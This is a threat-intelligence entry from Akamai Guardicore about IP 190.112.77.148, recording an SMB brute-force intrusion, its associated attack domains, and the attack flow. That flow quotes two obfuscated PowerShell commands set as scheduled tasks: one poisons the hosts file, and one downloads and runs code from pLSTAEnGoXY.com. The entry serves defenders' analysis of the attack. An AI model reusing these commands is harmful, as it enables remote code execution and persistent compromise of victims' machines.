Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 190.112.77.148Previously Malicious

IP Address: 190.112.77.148Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Scheduled Task Creation Successful SMB Login Service Creation Service Start Access Suspicious Domain CMD DNS Query PowerShell IDS - A Network Trojan was detected Service Deletion SMB SMB Brute Force File Operation By CMD Bulk Files Tampering

Associated Attack Servers

plstaengoxy.com t.amxny.com t.awcna.com t.tr2q.com

103.62.235.221 103.66.79.103

Basic Information

IP Address

190.112.77.148

Domain

-

ISP

Internet Para Todos - Gobierno de La Rioja

Country

Argentina

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-04-20

Last seen in Akamai Guardicore Segmentation

2020-04-20

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB from PUESTO1 with the following username: administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

A user logged in using SMB from PUESTO1 with the following username: administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named VDJPDOHCTNLLQEDHFMCQ under service group None

Service Start Service Creation

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 5 times

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.amxny.com, t.awcna.com and t.tr2q.com

Access Suspicious Domain DNS Query

The command line powershell -c "\"awcna\",\"tr2q\",\"amxny\"|foreach{[Net.Dns]::GetHostAddresses(\"t.$_.com\")[0].IPAddressToString+\" pLSTAEnGoXY.com\"|out-file -"encoding" as`ci`i c:\windows\system32\drivers\etc\hosts}" was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa1

The command line powershell -c "$v=\"ipco\";iex(ne`w-obj`ect net.webc`lient).\"down`load`string\"(\"http://pLSTAEnGoXY.com/$v.jsp?0.3\")" was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa2

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: plstaengoxy.com 2 times

Access Suspicious Domain DNS Query

Process NetworkService Service Group attempted to access suspicious domains: t.amxny.com and t.awcna.com

Access Suspicious Domain DNS Query

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.amxny.com, t.awcna.com and t.tr2q.com

Access Suspicious Domain DNS Query

Connection was closed due to timeout

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe performed bulk changes in {c:\windows\system32\config\systemprofile\appdata\local\microsoft\windows\powershell\commandanalysis} on 56 files

Bulk Files Tampering